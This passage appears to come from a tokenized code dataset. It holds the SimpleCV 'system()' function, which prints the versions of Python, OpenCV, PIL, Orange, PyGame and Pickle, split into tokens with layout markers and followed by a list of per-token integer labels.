"librar", "y", " ", "based", " ", "on", " ", "the", " ", "output", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "**", "RETURN", "S", "**", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "**", "EXAMPLE", "**", "\\", "10", ";", " ", " ", "\\", "10", ";", " ", " ", ">>>", " ", "import", " ", "Simple", "CV", "\\", "10", ";", " ", " ", ">>>", " ", "Simple", "CV", ".", "system", "()", "\\", "10", ";", " ", " ", "\\", "10", ";", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "System", " ", ":", " ", "\"_", ",_", "platform_", "._", "system_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "OS", " ", "version", " ", ":", " ", "\"_", ",_", "platform_", "._", "version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Pyth", "on", " ", "version", " ", ":\"_", ",_", "platform_", "._", "python", "\\u", "version_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "cv2_", "import_", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Open", " ", "CV", " ", "version", " ", ":", " ", "\"_", "+_", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Open", " ", "CV", "2", " ", "version", " ", ":", " ", "\"_", "+_", "\"", "2.1", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "PI", "L", "\\u", "ENABLED_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "PI", "L", " ", "version", " ", ":", " ", "\"_", ",_", "pil", "_", "._", "VERSION_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "PI", "L", " ", "module", " ", "not", " ", "install", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "ORA", "NGE", "\\u", "ENABLED_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Ora", "nge", " ", "Version", " ", ":", " ", "\"_", "+_", "orange", "_", "._", "version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Ora", "nge", " ", "module", " ", "not", " ", "install", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pygame_", "as_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Py", "Game", " ", "Version", " ", ":", " ", "\"_", "+_", "pg_", "._", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Py", "Game", " ", "module", " ", "not", " ", "install", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Pickl", "e", " ", "Version", " ", ":", " ", "\"_", "+_", "pickle_", "._", "\\u\\u", "version\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Pickl", "e", " ", "module", " ", "not", " ", "install", "ed", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "You", " ", "need", " ", "to", " ", "install", " ", "Plat", "form", " ", "to", " ", "use", " ", "this", " ", "function", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "to", " ", "install", " ", "you", " ", "can", " ", "use", ":\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "easy", "\\u", "install", " ", "platform", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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